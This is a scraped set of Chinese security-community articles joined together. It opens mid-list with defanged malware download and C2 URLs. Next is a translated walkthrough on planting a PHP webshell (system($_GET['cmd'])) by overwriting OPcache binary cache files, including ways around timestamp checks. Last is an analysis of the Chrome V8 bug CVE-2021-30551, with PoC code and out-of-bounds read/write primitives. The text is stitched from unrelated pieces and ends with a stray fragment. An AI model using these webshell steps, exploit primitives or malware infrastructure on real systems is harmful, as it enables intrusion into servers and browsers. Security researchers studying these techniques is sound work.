hxxp://zxcvbmnnfjjfwq.com:8852/RTEGFN01/mipsel
hxxp://zxcvbmnnfjjfwq.com:8852/RTEGFN01/powerpc
hxxp://zxcvbmnnfjjfwq.com:8852/RTEGFN01/x86_64
hxxp://marchdom4.com/mikrotik/arm
C2地址（C2 URI）
hxxp://q111333.top:8852/test/res.dat
hxxp://hackucdt.com:8852/test/res.dat
hxxp://103.51.13.52:8852/test/res.dat
hxxp://193.201.224.202:8852/ASDFRE/ASDFRE.dat
hxxp://193.201.224.238:8852/GHJFFGND/GHJFFGND.dat
hxxp://193.201.224.238:8852/RTEGFN01/RTEGFN01.dat
hxxp://193.201.224.239:8852/ASDFRE/ASDFRE.dat
hxxp://193.201.224.239:8852/JHKDSAG/JHKDSAG.dat
hxxp://193.201.224.239:8852/RTEGF/RTEGF.dat
hxxp://193.201.224.239:8852/YTRFDA/YTRFDA.dat | 社区文章 |
在 PHP 7.0 发布之初，就有不少 PHP 开发人员对其性能提升方面非常关注。在引入 OPcache
后，PHP的性能的确有了很大的提升，之后，很多开发人员都开始采用 OPcache 作为 PHP 应用的加速器。OPcache
带来良好性能的同时也带来了新的安全隐患，下面的内容是 GoSecure 博客发表的一篇针对 PHP 7.0 的 OPcache 执行 PHP
代码的技术博文。
[本文](http://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/)会介绍一种新的在 PHP7 中利用默认的 OPcache 引擎实施攻击的方式。利用此攻击向量，攻击者可以绕过“Web 目录禁止文件读写”的限制
，也可以执行他自己的恶意代码。
# 0x00 OPcache 利用方式简介
OPcache 是 PHP 7.0 中内建的缓存引擎。它通过编译 PHP 脚本文件为字节码，并将字节码放到内存中。
[
[使用 PHP7 加速 Web 应用](http://talks.php.net/confoo16#/php7pcache1)
OPcache 缓存文件格式请看[这里](http://jpauli.github.io/2015/03/05/opcache.html)。
同时，它在文件系统中也提供了缓存文件。
在 PHP.ini 中配置如下，你需要指定一个缓存目录：
opcache.file_cache=/tmp/opcache
在指定的目录中，OPcache 存储了已编译的 PHP 脚本文件，这些缓存文件被放置在和 Web 目录一致的目录结构中。如，编译后的
/var/www/index.php 文件的缓存会被存储在 /tmp/opcache/[system_id]/var/www/index.php.bin
中。
**system_id** 是当前 PHP 版本号，Zend 扩展版本号以及各个数据类型大小的 MD5 哈希值。在最新版的 Ubuntu(16.04)中，
**system_id** 是通过当前 Zend 和 PHP 的版本号计算出来的，其值为
81d80d78c6ef96b89afaadc7ffc5d7ea。这个哈希值很有可能被用来确保多个安装版本中二进制缓存文件的兼容性。当 OPcache
在第一次缓存文件时，上述目录就会被创建。
在本文的后面，我们会看到每一个 OPcache 缓存文件的文件头里面都存储了 **system_id** 。
有意思的是，运行 Web 服务的用户对 OPcache 缓存目录（如：/tmp/opcache/）里面的所有子目录以及文件都具有写权限。
$ ls /tmp/opcache/
drwx------ 4 www-data www-data 4096 Apr 26 09:16 81d80d78c6ef96b89afaadc7ffc5d7ea
正如你所看到的，www-data 用户对 OPcache 缓存目录有写权限，因此，我们可以通过使用一个已经编译过的 webshell 的缓存文件替换
OPcache 缓存目录中已有的缓存文件来达到执行恶意代码的目的。
# 0x01 OPcache 利用场景
要利用 OPcache 执行代码，我们需要先找到 OPcache 的缓存目录（如：/tmp/opcache/[ **system_id** ]）以及 Web
目录（如：/var/www/）。
假设，目标站点已经存在一个执行 phpinfo() 函数的文件了。通过这个文件，我们可以获得 OPcache 缓存目录， Web 目录，以及计算
**system_id** 所需的几个字段值。[我写了一个脚本，可以利用 phpinfo() 计算出
system_id](https://github.com/GoSecure/php7-opcache-override)。
另外还要注意，目标站点必须存在一个文件上传漏洞。
假设 php.ini 配置 opcache 的选项如下：
opcache.validate_timestamp = 0 ; PHP 7 的默认值为 1
opcache.file_cache_only = 1 ; PHP 7 的默认值为 0
opcache.file_cache = /tmp/opcache
此时，我们可以利用上传漏洞将文件上传到 Web 目录，但是发现 Web 目录没有读写权限。这个时候，就可以通过替换
/tmp/opcache/[system_id]/var/www/index.php.bin 为一个 webshell的二进制缓存文件运行
webshell。
[
* 在本地创建 webshell 文件 index.php ，代码如下：
<?php
system($_GET['cmd']);
?>
* 在 PHP.ini 文件中设置 opcache.file_cache 为你所想要指定的缓存目录
* 运行 PHP 服务器(php -S 127.0.0.1:8080) ，然后向 index.php 发送请求(wget 127.0.0.1:8080)，触发缓存引擎进行文件缓存。
* 打开你所设置的缓存目录，index.php.bin 文件即为编译后的 webshell 二进制缓存文件。
* 修改 index.php.bin 文件头里的 **system_id** 为目标站点的 **system_id** 。在文件头里的签名部分的后面就是 **system_id** 的值。
[
* 通过上传漏洞将修改后的 index.php.bin 上传至 /tmp/opcache/[system_id]/var/www/index.php.bin ，覆盖掉原来的 index.php.bin
* 重新访问 index.php ，此时就运行了我们的 webshell
[
针对这种攻击方式，在 php.ini 至少有两种配置方式可以防御此类攻击。
* 禁用 **file_cache_only**
* 启用 **validate_timestamp**
# 0x02 绕过内存缓存(file_cache_only = 0)
如果内存缓存方式的优先级高于文件缓存，那么重写后的 OPcache 文件（webshell）是不会被执行的。但是，当 Web
服务器重启后，就可以绕过此限制。因为，当服务器重启之后，内存中的缓存为空，此时，OPcache
会使用文件缓存的数据填充内存缓存的数据，这样，webshell 就可以被执行了。
但是这个方法比较鸡肋，需要服务器重启。那有没有办法不需要服务器重启就能执行 webshell 呢？
后来，我发现在诸如 WordPress 等这类框架里面，有许多过时不用的文件依旧在发布的版本中能够访问。如： registration-functions.php
由于这些文件过时了，所以这些文件在 Web 服务器运行时是不会被加载的，这也就意味着这些文件没有任何文件或内存的缓存内容。这种情况下，通过上传
webshell 的二进制缓存文件为 registration-functions.php.bin ，之后请求访问 /wp-includes/registration-functions.php ，此时 OPcache 就会加载我们所上传的 registration-functions.php.bin 缓存文件。
# 0x03 绕过时间戳校验(validate_timestamps = 1)
如果服务器启用了时间戳校验，OPcache 会将被请求访问的 php
源文件的时间戳与对应的缓存文件的时间戳进行对比校验。如果两个时间戳不匹配，缓存文件将被丢弃，并且重新生成一份新的缓存文件。要想绕过此限制，攻击者必须知道目标源文件的时间戳。
如上面所说的，在 WordPress 这类框架里面，很多源文件的时间戳在解压 zip 或 tar 包的时候都是不会变的。
[
注意观察上图，你会发现有些文件从2012年之后从没有被修改过，如：registration-functions.php 和 registration.php
。因此，这些文件在 WordPress 的多个版本中都是一样的。知道了时间戳，攻击者就可以绕过 validate_timestamps
限制，成功覆盖缓存文件，执行 webshell。二进制缓存文件的时间戳在 34字节偏移处。
[
# 0x04 总结
OPcache 这种新的攻击向量提供了一些绕过限制的攻击方式。但是它并非一种通用的 PHP 漏洞。随着 PHP 7.0
的普及率不断提升，你将很有必要审计你的代码，避免出现上传漏洞。并且检查可能出现的危险配置项。 | 社区文章 |
# Chrome 在野0day：CVE-2021-30551的分析与利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、漏洞背景：
近日谷歌公开了四个在野0day，其中CVE-2021-30551是一个v8类型混淆的漏洞，对市面上一些内置浏览器均有影响，下面无恒实验室将根据p0公开的内容对漏洞的利用做一个简单的分享：
## 二、Root case
前面的一些内容p0的文章中（https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html）已经讲过了，这里简单提一下：
1. 漏洞的过程和之前沙箱漏洞中的一种模式思路类似（resolve重入用户js）可以类比去理解。
2. `HTMLEmbedElement`是少数具有属性拦截器的 DOM 类之一，每次用户尝试访问`Embed`的 JS 包装器的属性时将会运行特殊的方法，这个方法可以由用户自定义，也就相当于可以在v8执行过程中重入到用户js层–去执行用户定义的代码。
3. 当对一个对象的命名属性进行操作时，如果该对象没有该属性时，将会去调用`SetPropertyInternal`函数遍历该对象的原型链
C++
Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
Handle<Object> value,
Maybe<ShouldThrow> should_throw,
StoreOrigin store_origin, bool* found) {
[...]
do {
switch (it->state()) {
[...]
case LookupIterator::INTERCEPTOR: {
if (it->HolderIsReceiverOrHiddenPrototype()) {
Maybe<bool> result =
JSObject::SetPropertyWithInterceptor(it, should_throw, value);
if (result.IsNothing() || result.FromJust()) return result;
} else {
Maybe<PropertyAttributes> maybe_attributes =
JSObject::GetPropertyAttributesWithInterceptor(it);
if (maybe_attributes.IsNothing()) return Nothing<bool>();
if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
return WriteToReadOnlyProperty(it, value, should_throw);
}
if (maybe_attributes.FromJust() == ABSENT) break;
*found = false;
return Nothing<bool>();
}
break;
}
[...]
*found = false;
return Nothing<bool>();
}
如果在原型链中遍历到INTERCEPTOR（拦截器），将会去执行拦截器以确定是否应该抛出“只读属性”异常，此时将会调用用户定义好的js代码，接下来SetPropertyInternal将会报告该属性不存在，接着交由SetProperty去调用AddDataProperty来创建属性。
C++
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
if (it->IsFound()) {
bool found = true;
Maybe<bool> result =
SetPropertyInternal(it, value, should_throw, store_origin, &found);
if (found) return result;
}
[...]
return AddDataProperty(it, value, NONE, should_throw, store_origin);
}
先大致描述一下漏洞的产生：
当用户访问一个object的命名属性时，如果该obj没有该属性，就会进入上面的遍历原型链的过程，此时如果在拦截器中创建该属性，并将该obj的map更改为deprecated状态，之后在SetPropertyInternal遍历结束后去创建属性时就会创建一个同名的第二个属性，如果此时的map为deprecated状态，此时将只会更新属性的值而不会去修改map中的描述符（map中保存了一个描述符数组，里面储存了命名属性的相关信息）。从而导致类型混淆。
在根据poc来分析之前先做个小实验：
JavaScript
global_object = {};
const array = [1.1, 2.2, 3.3];
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1; //------------------------------->map1
%DebugPrint(object_1);
%DebugPrint(object_1.regular_prop);
%SystemBreak();
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = array; //--------------------------->map2(map1 is deprecated)
%DebugPrint(object_1);
%SystemBreak();
const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1; //---------------------------------->map1
%DebugPrint(object_2);
%SystemBreak();
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = array;//------------------------------>map2
%DebugPrint(object_2);
%SystemBreak();
object_1.regular_prop = 1.1;//----------------------------------->map3(map2 is deprecated)
%DebugPrint(object_1);
%DebugPrint(object_2);
根据debug信息可以得到注释中的结论，之后根据该代码去实现在拦截器中将object的map设置为deprecated。
### 2.1 poc
JavaScript
global_object = {};
setPropertyViaEmbed = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;//遍历到拦截器后调用的js代码
embed.type = 'text/html';
Object.setPrototypeOf(global_object, embed); //将embed（拦截器）设置到原型链中
document.body.appendChild(embed);
object.corrupted_prop = value;//通过访问obj中不存在的命名属性触发SetPropertyInternal
embed.remove();
}
createCorruptedPair = (value_1, value_2) => {//object1主要用于将object2的map设置为deprecated
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1;
setPropertyViaEmbed(object_1, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = value_1;
});
const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1;
setPropertyViaEmbed(object_2, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。
object_1.regular_prop = 1.1//设置map为deprecated
});
return [object_1, object_2];
}
主要的地方已经以注释的形式写在了poc中，下面是实现混淆的代码：
JavaScript
const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, target); //root case
jit = (object) => {
return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
jit(object_1);
var leak = jit(object_2);
console.log('0x' + hex(d2u(leak)[0]));
漏洞主要发生在注释的地方，这里对poc做一个拆解便于理解：
JavaScript
object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value; <-----调用Object::SetPropertyInternal开始遍历
由于已经设置了global_object为embed，遍历的过程中将会执行：
C++
{
Maybe<PropertyAttributes> maybe_attributes =
JSObject::GetPropertyAttributesWithInterceptor(it);
if (maybe_attributes.IsNothing()) return Nothing<bool>();
if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
return WriteToReadOnlyProperty(it, value, should_throw);
}
if (maybe_attributes.FromJust() == ABSENT) break;
*found = false;
return Nothing<bool>();
}
//他为了判断是否需要抛出只读异常（WriteToReadOnlyProperty(it, value, should_throw);）将会去执行已经定义的拦截器代码
拦截器函数：
JavaScript
() => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。
object_1.regular_prop = 1.1//设置map为deprecated
}
在执行完上面的代码后，Object::SetPropertyInternal是不会根据已设定的拦截函数去判断是否创建该属性的，他只会返回一个false的found。
C++
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
if (it->IsFound()) {
bool found = true;
Maybe<bool> result =
SetPropertyInternal(it, value, should_throw, store_origin, &found);
if (found) return result;
}
[...]
return AddDataProperty(it, value, NONE, should_throw, store_origin);
}
于是这里会接着调用Object::SetProperty去第二次创建该属性。
接下来通过比较object1和object2的创建过程，来体会一下deprecated的作用，这里简单调试一下：
object_1:
object：
map：
descriptorarray：
这里简单对他的结构做了一个标注，可以看到在descriptorarray是存在两个相同key（同名）的属性的，分别对应了field 1 和 field
2，这个对照第一个图也可以看到在in-object
property中储存了value1（0x083305a9）和value2（0x08330649），相当于object_1具有了两个同名属性。
接下来是object_2：
可以看到它的map和obejct_1相同，但是不同于object_1，由于deprecated操作object_2并没有创建出两个同名属性，SetProperty只是将它的corrupted_prop属性由value1（0x083305a9）修改为了value2（0x08330649），由于此时的descriptorarray仍是之前的描述符，这就导致%DebugPrint(object_2.corrupted_prop);会错误的将field
2的值作为属性输出就会得到下面的结果：
最重要的是field 1处的值已经由value1修改为了value2，但是描述符并没有发生改变，这也是这个漏洞最关键的地方。
## 三、利用部分
利用开始前的题外话：
1. 因为这个漏洞他需要使用到html的对象embed，所以是不能直接在d8上调试的，我的方法是在chrome上调试的同时拉一个debug版的d8来方便去查看内存布局，这样对照起来会方便一些。
2. 可以使用下面的命令：
file ./chrome
set args –headless –disable-gpu –user-data-dir=./userdata –remote-debugging-port=1338 –no-sandbox –js-flags=”–allow-natives-syntax –trace-turbo”
http://127.0.0.1:8000/poc.html
set follow-fork-mode parent
之后在attach到render进程就可以调试v8了。
### 3.1越界读
接下来的重点就是如何使用描述符来消除掉checkmaps，最终实现类型混淆：
在load-elimination阶段将会进行冗余消除，v8将会去消除一些多余的检查：
C++
ReductionLoadElimination::ReduceCheckMaps(Node* node) {
ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
Node* const object = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
ZoneHandleSet<Map> object_maps;
if (state->LookupMaps(object, &object_maps)) {
if (maps.contains(object_maps)) return Replace(effect);
// TODO(turbofan): Compute the intersection.
}
state = state->SetMaps(object, maps, zone());
return UpdateState(node, state);
}
可以看到由于上面提到的错误的映射，[maps](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/load-elimination.cc;drc=34da4407648871eca12e13e607545c0a64a83c1c;l=753?q=LoadElimination::ReduceCheckMaps&ss=chromium/chromium/src).[contains](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/zone/zone-handle-set.h;drc=34da4407648871eca12e13e607545c0a64a83c1c;l=84)([object_maps](https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/load-elimination.cc;drc=34da4407648871eca12e13e607545c0a64a83c1c;l=758?q=LoadElimination::ReduceCheckMaps&ss=chromium/chromium/src))将会返回true从而将checkmaps消除掉，这样就可以实现越界读了。
这里有需要注意的地方：
混淆的对象不能随意选择，比如const [object_1, object_2] = createCorruptedPair(array,
111.223);此时他会将111.223当作数组去使用：
可以看到它会根据偏移去取elements中的内容，对于111.223来说他的对应偏移处的值为0x3ff19999（由于指针压缩，这里会将0x3ff19999+$r13的值作为elements指针进行访问，可以看到此时触发了0地址解引用）。
如果修改为：
JavaScript
const buf12 = new ArrayBuffer(8);
const flo = new Float64Array(buf12);
const [object_1, object_2] = createCorruptedPair(array, flo);
jit = (object) => {
return object.corrupted_prop[2];
}
for (var i = 0; i < 100000; ++i)
jit(object_1);
var leak = jit(object_2);
console.log('0x' + hex(d2u(leak)[1]));
此时就会根据Float64Array的elements来进行越界读，下面是一个简单的例子：
### 3.2越界写
初尝试：
首先要实现越界写最关键的还是要将checkmaps检查消除，这里我找到了一种办法：
JavaScript
const array = [1.1,2.2,3.3];
array.prop = 1;
const num = 1.1;
num.prop = 1;
jit = (object) => {
object.corrupted_prop[2] = num;
return object.corrupted_prop[2];
}
就是给array设置一个属性，之后在创建一个具有相同属性的num，这样进行写入时就会消除掉checkmaps。
这里有几个点要注意：
1. 直接赋值object.corrupted_prop[2] = 1.1;是不会消除checkmaps的。
2. 越界写的长度是array的长度，但写的基地址为Float64Array的elemets，算是一个比较特殊的越界写！！！很重要 ！！！
3. 最后就是越界写的过程中，是将数组中的每一个值都当作object来写的
这里就会有一个问题，elements里面存放的值都是指针压缩后的地址，当作object去写入的话肯定是不行的，看rdi的值也可以发现，他直接取了0xf500000000080425为地址。
而且就算是在32位没有指针压缩的情况下进行越界写，它还是会取8字节的值作为object来进行写入：
如图所示，所以就需要找一种越界时可以直接写double的方法，这里我尝试了几乎所有的object后找到了一个可以使用的目标BigUint64Array。
### 3.3Why BigUint64Array？
这里选择它的理由主要有以下几点：
1. 它可以直接写入double，而不会像其他object混淆后当作object去写入
2. BigUint64Array的elements非常特殊，它分配的地址可以和array相邻（可以调试一些其他的typearray，很明显可以发现他们的elements分配的区域和array是相距很远的而且偏移不固定）
图中圈红的位置为elements，可以看到BigUint64array的elements可以和array相邻，对于这个漏洞来说就十分方便了。
### 3.4最终的越界写思路：
最后需要修改array的length，但目前写入都是以double的形式进行的，所以需要先泄漏出length旁边的elements的地址，之后再进行拼接写入，避免破坏正常的object结构，修改elements的length也是同理：
JavaScript
global_object = {};
setPropertyViaEmbed = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;
embed.type = 'text/html';
Object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value;
embed.remove();
}
createCorruptedPair = (value_1, value_2) => {
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1;
setPropertyViaEmbed(object_1, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = value_1;
});
const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1;
setPropertyViaEmbed(object_2, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1;
object_1.regular_prop = 1.1
});
return [object_1, object_2];
}
const array = [5.5,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1];
array.prop = 1;
const test = new BigUint64Array(2);
var oob_array = [1.1,2.2,3.3];
obj_array = { m: 1337, target: gc };
ab = new ArrayBuffer(0x1337);
const [object_1, object_2] = createCorruptedPair(array, test);
jit = (object,index) => {
return [object.corrupted_prop[index],object.corrupted_prop[index-5]];
}
%PrepareFunctionForOptimization(jit)
jit(object_1,0);
%OptimizeFunctionOnNextCall(jit);
var leak = jit(object_2,0xd);
elem = d2u(leak[0])[0];
elem2 = d2u(leak[1])[0];
const num = u2d(elem,0x4242);
num.prop = 1;
const num2 = u2d(elem2,0x4242);
num2.prop = 1;
num对应oob_array的length，num2对应elements的length，之后只需要将他们越界写入oob_array即可。
JavaScript
proto2 = {};
setPropertyViaEmbed2 = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;
embed.type = 'text/html';
Object.setPrototypeOf(proto2, embed);
document.body.appendChild(embed);
object.corrupted2 = value;
embed.remove();
}
createCorruptedPair2 = (value_1, value_2) => {
const object_3 = {
__proto__: proto2
};
object_3.regular2 = 1;
setPropertyViaEmbed2(object_3, value_2, () => {
Object.setPrototypeOf(proto2, null);
object_3.corrupted2 = value_1;
});
const object_4 = {
__proto__: proto2
};
object_4.regular2 = 1;
setPropertyViaEmbed2(object_4, value_2, () => {
Object.setPrototypeOf(proto2, null);
object_4.corrupted2 = value_1;
object_3.regular2 = 1.1
});
return [object_3, object_4];
}
const [object_3, object_4] = createCorruptedPair2(array, test);
//%DebugPrint(object_4.corrupted2);
jit22 = (object,index) => {
object.corrupted2[index] = num; //length
object.corrupted2[index-5] = num2; //elements的length
return object.corrupted2[index];
}
%PrepareFunctionForOptimization(jit22)
jit22(object_3,0);
%OptimizeFunctionOnNextCall(jit22);
//%DebugPrint(test);
var leak2 = jit22(object_4,0xd);
//%DebugPrint(leak2);
1. array的长度决定越界的范围，忘记的同学可以再回头看一下。
2. 不能只修改oob_array的length，还需要将elements中的length一并修改。
接下来只要提前构造好下面的结构：
JavaScript
const test = new BigUint64Array(2);
var oob_array = [1.1,2.2,3.3];
obj_array = { m: 1337, target: gc };
ab = new ArrayBuffer(0x1337);
利用test去越界修改oob_array的length和elements的length，这样就可以使用oob_array去进行漏洞利用了。
如果是32位的利用的话涉及到一个高低位的问题，这里需要注意一下：
简单举一个例子：
JavaScript
var object_idx = undefined;
var object_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] == 0xa72) {
print("m: i: " + i + " lo 0");
print("target: i: " + i + " hi 1");
object_idx = i;
object_idx_flag = 1;
break;
}
if (d2u(oob_array[i])[1] == 0xa72) {
print("m: i: " + i + " hi 1");
print("target: i: " + (i + 1) + " lo 0");
object_idx = i + 1;
object_idx_flag = 0;
break;
}
}
function addrof(obj_para) {
obj_array.target = obj_para;
return d2u(oob_array[object_idx])[object_idx_flag] - 1;
}
最后由于一些众所周知的原因，详细的exp就没办法在这里放出了，相信看到这里熟悉v8利用的小伙伴们就已经知道后面该怎么做了，有了越界读写之后就是一些常规的做法了。
最终放一个效果图：
## 四、结束语
1. 该漏洞可以广泛运用于对市面上一些的chromium内置浏览器的攻击，rce成功之后将会对用户产生巨大的影响，无恒实验室在得知漏洞之后迅速对相关应用进行更新升级，同时也第一时间对漏洞利用进行分析，是业内第一个提供exp分析的实验室，保障了用户权益。
2. 无恒实验室致力于为公司与全行业业务保驾护航，亦极为重视第三方应用对业务安全的影响，在检测公司引入的第三方应用安全性的同时，无恒实验室也着力于构建第三方应用中的漏洞缓解机制，并将持续与业界共享研究成果，协助企业业务避免遭受安全风险，亦望能与业内同行共同合作，为网络安全行业的发展做出贡献。
参考链接：
https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html | 社区文章 |
Subsets and Splits